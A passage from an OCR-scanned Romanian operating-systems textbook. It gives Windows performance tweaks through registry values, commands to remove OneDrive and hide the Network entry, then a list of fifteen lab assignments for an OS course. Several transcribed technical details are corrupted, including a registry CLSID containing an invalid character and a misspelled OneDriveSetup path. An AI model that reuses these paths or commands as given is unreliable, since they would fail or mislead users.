finalizeaza prin efectuarea procedurilor de mentenanta.

In capitolul curent suntem pozitionati undeva intre prima si cea de-a doua etapi, asadar vom
trata In egald masurd dezactivarea caracteristicilor nefolositoare si ajustarea parametrilor ce pot
determina un comportament mai performant.

In acest scop am publicat la un moment dat un script de configurare care va activa, modifica
sau dezactiva urmatoarele caracteristici:

- AutoEndTasks — Accelereaza procesul de log off, oprire sau repornire a calculatorului
fortand inchiderea rapida a serviciilor In executie.

- HungAppTimeout — Micsoreaza timpul de asteptare inainte de inchiderea programelor pentru
care utilizatorul a solicitat inchiderea fortata prin intermediul butonului ,,End Task al Task
Manager.

- MenuShowDelay — Reduce timpul in care sunt afisate meniurile solicitate de utilizator.

- WaitToKillAppTimeout — Accelerecaza procesul de log off, oprire sau repornire a
calculatorului fortand inchiderea rapida a proceselor in executie.

- LowLevelHooksTimeout — Reduce timpul de asteptare dinaintea opririi fortate a serviciilor
care nu raspund solicitarii de oprire.

- MouseHoverTime — Accelereaza afisarea descrierilor la pozitionarea cursorului deasupra
caracteristicilor sistemului de operare sau fisierelor din computer.

- NoLowDiskSpaceChecks — Dezactiveaza verificarea si avertizarea cu privire la spatiu liber
ramas pe Hard Disk.

- LinkResolvelgnoreLinkinfo — Indica sistemului de operare sa ignore programele eliminate
din computer, dar spre care inca mai exista scurtaturi orfane.

- NoResolveSearch — impiedica Windows si caute unitatea de disc pentru a rezolva o comanda
rapida.

- NoResolveTrack — Impiedici Windows sa utilizeze functia de urmirire a sistemul de fisiere
NTFS pentru a rezolva o comanda rapida.

- NolnternetOpenWith — Dezactiveaza caracteristica de cautare pe Internet a unei aplicatii cu
care sd deschida un fisier anume, la accesarea functiei ,,Open with...” din meniul contextual.

- WaitToKillServiceTimeout — Micsoreaza timpul de asteptare nainte de oprirea fortatd a
serviciilor care au primit notificare de oprire dar nu s-au conformat in timp util.

- NoNetConnectDisconnect — Elimina optiunea ,,Map network drive...” din meniul contextual.
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Arhiva .rar ce contine scripturile de aplicare si anulare a setdrilor mentionate mai sus poate fi
descarcata de aici. Dupa dezarhivare, executati dublu click pe fisierul ,,Optimizari Windows” si
urmati instructiunile pentru instalarea sa.

Daca dupa repornirea computerului apar probleme, ori in situatia in care trageti concluzia ca
preferati setarile implicite, executati fisierul .reg ,,Anulare Optimizari” si reporniti calculatorul.

% Eliminare OneDrive din panoul de navigare a Windows Explorer

Microsoft a considerat utila integrarea in panoul de navigare a Windows Explorer a propriului
serviciu de stocare si sincronizare cloud, dar dacd nu folositi OneDrive, il puteti elimina cu
usurintd, descdrcand dezinstalati clientul OneDrive din Windows 10, urmati aceste instructiuni si
executand fisierul reg ,,EliminaOneDrive,,.

Pentru reactivare executati ,,AdaugareOneDrive,,. Ambele operatii vor avea efect abia dupa
repronirea Windows Explorer sau a computerului. Apropo de asta, dacd doriti sd dezinstalati
clientul OneDrive din Windows 10, urmati aceste instructiuni:

Pentru inceput, daca nu ati facut deja acest lucru, va trebui sa deconectati clientul de la contul
Microsoft. Puteti face asta din ramura Settings a meniului contextual al clientului. De asemenea,
va recomand sa dezactivati si executarea automata a clientului serviciului OneDrive la pornirea
sistemului de operare, debifand caseta indicata de a doua sdgeata din captura de ecran inferioara.

Inainte de efectuarea dezinstalirii va trebui si va asigurati ¢ procesul clientului nu ruleaza in
acel moment. Pentru asta, deschideti o fereastra a CMD si tastati comanda urmatoare:
TASKKILL /f /im OneDrive.exe
Dezinstalarea se face tot din CMD, dar comanda care se ocupa de asta difera de la o platforma la
alta. Astfel, daca doriti sa dezinstalati clientul OneDrive dintr-un Windows 10 de 32 de biti,
comanda va fi:

%systemroot%\System32\OneDriveSetup.exe /uninstall

In schimb, daca doriti si efectuati instalarea intr-o versiune de 64 de biti a Windows 10,
comanda pentru dezinstalare este urmatoarea:

%systemroot%\SysWOW64\OneDriveSetup.exe /uninstall

Pentru eliminarea OneDrive din panoul de navigare a Windows Explorer eliminati din Windows
Registry, folosind Registry Editor, urmatoarele chei:
HKEY_CLASSES_ROOT\Wow6432Node\CLSID\{018D5C66-4533-4307-9B53-
224DE2ED1FEG6}
HKEY_CLASSES_ROOT\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FEG}
Reinstalarea, in caz cd la un moment vi se face dor de OneDrive si simtiti cd viata nu mai are
sens fara el, se efectueaza executand in CMD urmatoarele comenzi:

In Windows 10 de 32 de biti: %systemroot%\System32\OneDriveSetup.exe

in Windows 10 de 64 de biti: %systemroot%\SysWOW64\OneDriveSet.exe

Cam asta ar, dar daca tot am adus vorba de servicii de sincronizare cloud, va reamintesc de lista
celor mai bune dintre acestea, asta in caz ca sunteti in cdutarea unei alternative.

% Eliminare , Retea” din Windows Explorer

Daca nu conectati calculatorul personal la o retea de calculatoare, puteti elimina din panoul de
navigare a Windows Explorer si scurtatura catre locatiile de retea. Pentru asta, va trebui sa
modificati valoarea Attributes din

ShellFolder » HLM » SOFTWARE » WOW6432Node » Classes » CLSID » {F02C1A0D-
BE21-4350-88B0-7367FC96EF3C} » ShellFolder si din

HCR » CLSID » {F02C1A0D-BE21-4350-88B0-7367FC96EF3C} » ShellFolder:

Eliminare Retea din Windows Explorer

Inlocuiti valoarea existentd cu b0940064 si reporniti computerul sau Windows Explorer.

Obs: Pentru a putea modifica ambele valori, va trebui sa obtineti permisiuni de administrare.

144



LABORATOR NR: 1

Introducere in SO. Functiile unui SO. Clasificarea tipurilor de SO

Sarcina 1:

Sa se prezinte printr-o schema sau diagrama o clasificare a sistemelor de operare pentru
telefoanele mobile si a celor pentru calculatoarele personale, identificind in schema respectiva
toate versiunile sistemului de operare respective Impreuna cu luna si anul aparitiei versiunii.
Sarcina 2:

Sa se prezinte o caracteristica detaliatd a urmatoarelor sisteme de operare:

a) Windows 7/8.1/ 10;

b) Linux Mint/ Ubuntu/ Kali;

c) Mac OS X Yosemite/ El Capitan/ Sierra
La prezentarea respectiva se va tine cont de urmatoarele:

a) Data aparitiei sistemului de operare;

b) Necesitati hardware pentru instalare;
c) Descrierea sistemului de operare utilizind imagini ale acestuia.
Data limita pentru realizare: Saptaméana 1

LABORATOR NR: 2

Caracteristicile tehnico-economice ale sistemelor de operare.
Fisa de post a administratorului de SO.
Echipamentele necesare pentru instalarea unui SO

Sarcina 1:

Sa se prezinte cerintele fatd de administratorul de sistem, identificind punctele forte pentru
angajarea in cimpul muncii unei companii. Argumentati importanta angajarii in cimpul muncii al
unui administrator de sistem.

Sarcina 2:

Sa se prezinte echipamentele necesare pentru instalarea unui SO. La descrierea respectiva de

vor evidentia mijloacele hardware si software care permit realizarea unui CD/ USB pentru boot.
Data limita pentru realizare: Saptamana 2

LABORATOR NR: 3

BIOS-ul. Notiuni generale. Lansarea programului de configurare a
BIOS-ului, modificarea si salvarea setarilor

Sarcina 1:
Sa se prezinte Intr-un tabel diferentele dintre BIOS Standard si UEFI dupa criterii, se vor
utiliza cel putin 5 criterii de diferentiere.

BIOS Standard Criteriul de deosebire BI1OS UEFI
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Sarcina 2:
Sa se prezinte modul de lucru cu meniurile BIOS-ului la calculatorul personal, sa se utilizeze
imagini ale BIOS-ului respectiv.
Data limita pentru realizare: Saptiamana 3

LABORATOR NR: 4

Partitionarea HDD/SSD/SSHD. Proceduri de instalare a SO.
Instalarea propriu zisa a SO

Sarcina 1:

Sa se prezinte 2-3 tehnici sau proceduri de partitionare a HDD-lui de la calculatorul personal,
descrieti modul de utilizare a unui mijloc software pentru partitionare, evidentiind etapele prin
imagini corespunzatoare.

Sarcina 2:

Sa se prezinte metode de instalare a urmatoarelor sisteme de operare, utilizind imagini
adecvate si mijloace software:

a) Windows 7/ 8.1/ 10;

b) Linux Mint/ Ubuntu/ Kali;
¢) Mac OS X Yosemite/ EI Capitan/ Sierra
Data limita pentru realizare: Saptamana 4

LABORATOR NR: 5

Drivere. Cautarea si instalarea acestora. Configurarea SO conform
nevoilor utilizatorului. Configurarea suprafetei de lucru.
Programe de monitorizare a performantelor unui PC

Sarcina 1:

Sa se prezinte moduri de cdutare/ instalare si update a pachetului de drivere pentru
calculatorul personal. Descrieti modul de utilizare a aplicatiilor: DPS — DriverPack Solution si
Driver Booster.

Sarcina 2:

Sa se prezinte modul de configurare a calculatorului personal, identificind mai apoi
programele necesare pentru monitorizarea performantelor calculatorului personal.

Data limita pentru realizare: Saptamana 5

LABORATOR NR: 6

Instrumentele oferite de panoul de control

Sarcina 1:
Sa se prezinte o scurta descriere a instrumentelor oferite de panoul de control:
- Appearence and Personalization; - Programs;
- Clock, Language si Region; - Security si User Accounts.

- Network si Internet; - System si Maintenance;
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Sarcina 2:
Sa se prezinte modul de utilizare, exemple a instrumentelor oferite de panoul de control:

- Appearence and Personalization; - Programs;
- Clock, Language si Region; - Security si User Accounts.
- Network si Internet; - System si Maintenance;

Data limita pentru realizare: Saptiméana 6

LABORATOR NR: 7
Optimizarea si mentenanta SO

Sarcina 1:

Sa se prezinte modul de utilizare a uneltelor de performanta:

- auneltelor de sistem;

- auutilitarelor de defragmentare a HDD-lui;

- gestionarea fisierelor temporare;
Sarcina 2:

Sa se prezinte modul de diagnosticare, de optimizare si de creare a copiilor de rezerva pentru
un calculator, indentificind uneltele software utilizate pentru sarcinile respective.

Data limita pentru realizare: Saptamana 7

LABORATOR NR: 8
Configurarea modului de acces la retea

Sarcina 1:
Sa se prezinte intr-un tabel diferentele dintre conectivitdtile de retea [Pv4 si IPv6 dupa
criterii, se vor utiliza cel putin 5 criterii de diferentiere.

Conectivitatea IPv4 Criteriul de deosebire Conectivitatea IPv4

Sarcina 2:
Sa se prezinte specificul procedurilor de configurare a unui protocol de retea.
Data limita pentru realizare: Saptamana 8

LABORATOR NR: 9
Instalarea si configurarea echipamentelor periferice

Sarcina 1:
Sa se prezinte modul de stocare a datelor pe urmatoarele dispositive:
a) CD/DVD; c) SSD;
b) HDD; d) SSHD;
Sarcina 2:
Sa se prezinte modul de conectare/ deconectare a urmatoarelor dispositive periferice:
a) Tabla interactiva,; b) Multifunctionala laser;

Data limita pentru realizare: Saptamana 9
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LABORATOR NR: 10
Conectori si cabluri destinate conectarii echipamentelor periferice.

Proceduri de conectare a echipamentelor periferice

Sarcina 1:

Sa se prezinte printr-0 schema sau diagrama o clasificare a conectorilor si cablurilor detonate
conectarii echipamentelor periferice, identificind in schema respectivd toate de conectori si
cabluri, impreuna cu luna si anul aparitiei acestora pe piata.

Sarcina 2:

Sa se stabileasca procedurile necesare pentru conectarea a cel putin 5 echipamente periferice,
indentificind tipurile de conectori si cabluri utilizate.

Data limita pentru realizare: Saptamana 10

LABORATOR NR: 11
Gestiunea programelor de tip antivirus

Sarcina 1:

Sa se prezinte modul de functionare strategic al unui virus si al unui antivirus, identificind
etapele de lucru a acestora.
Sarcina 2:

Sa se stabileasca procedeele de verificare a unui HDD/ SSD impotriva programelor de tip
virus. Explicati citeva metode de inlaturare a virusilor informatici, identificind unelte software
capabile sa realizeze procedura respectiva.

Data limita pentru realizare: Siaptamana 11

LABORATOR NR: 12

Instalarea aplicatilor frecvent utilizate.
Pachete de programe frecvent utilizate

Sarcina 1:

Sa se prezinte modul de utilizarea a pachetului MS Office:

- Sa se elaboreze o pagind din cartea de povesti preferata, utilizind MS Word;

- Sa se elaboreze un cias analog (5 min.), utilizind MS PowerPoint;

- Sa se elaboreze conversiile pentru multiplii unui octet, utilizind MS Excel;

- Sa se elaboreze o baza de date pentru institutia absolvita recent, utilizind MS Access;
Sarcina 2:
Sa se prezinte etapele pentru instalarea urmatoarelor softuri:

- un browser; - un player video;

- un player audio; - unantivirus;

Data limita pentru realizare: Saptamana 12
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LABORATOR NR: 13

Administrarea aplicatilor frecvent utilizate.
Pachete de programe frecvent utilizate

Sarcina 1:
Explicati modul de solutionare a urmatoarelor probleme software:
- Programul de securitate antivirus nu mai sintetizeaza programele de tip virus, calculatorul
este infectat cu Trojan, eliminati intrusii din calculatorul personal.
- De citeva zile ati observat cd calculatorul personal frineaza foarte tare atunci cand
incercati sa copiati sau sa mutati fisiere de cca. 20Mb, eliminati cauza acestei probleme.
Sarcina 2:
Argumentati importanta utilizarii pachetelor software de la Adobe si Microsoft in redactarea
fisierelor multimedia si a documentelor pentru oficiu. (minim 10 randuri)
Data limita pentru realizare: Saptamana 13

LABORATOR NR: 14
Respectarea cadrului normativ-juridic referitor la protejarea proprietatii
intelectuale in domeniul informaticii

Sarcina 1:
Argumentati importanta respectarii cadrului normative-juridic referitor la protejarea
proprietatii intelectuale in domeniul informaticii. (minim 10 randuri)
Sarcina 2:
Stabiliti metode/ idei concrete care ar putea fi implementate in R. Moldova pentru a putea
combate pirateria software. Argumentati. (minim 10 randuri)
Data limita pentru realizare: Saptamana 14

LABORATOR NR: 15

Recapitulare SO

Sarcina 1:

Sa se prezinte o gazeta de perete la temele:

- Sistemele de operare pentru telefoanele mobile si tablete din 2017;

- Sistemele de operare pentru calculatoarele personale din 2017;

Sarcina 2: Concurs (30-45 min.)*

Sa se imparta colectivul de elevi formand 3 grupe cu un numar egal de elevi. Grupele vor
avea in conducerea lor un lider care va stabili denumirea echipei: Windows OS, Linux OS si
Mac OS. Etapele de desfasurare a concursului respectiv vor fi stabilite de cétre profesor.

Data limita pentru realizare: Saptamana 15
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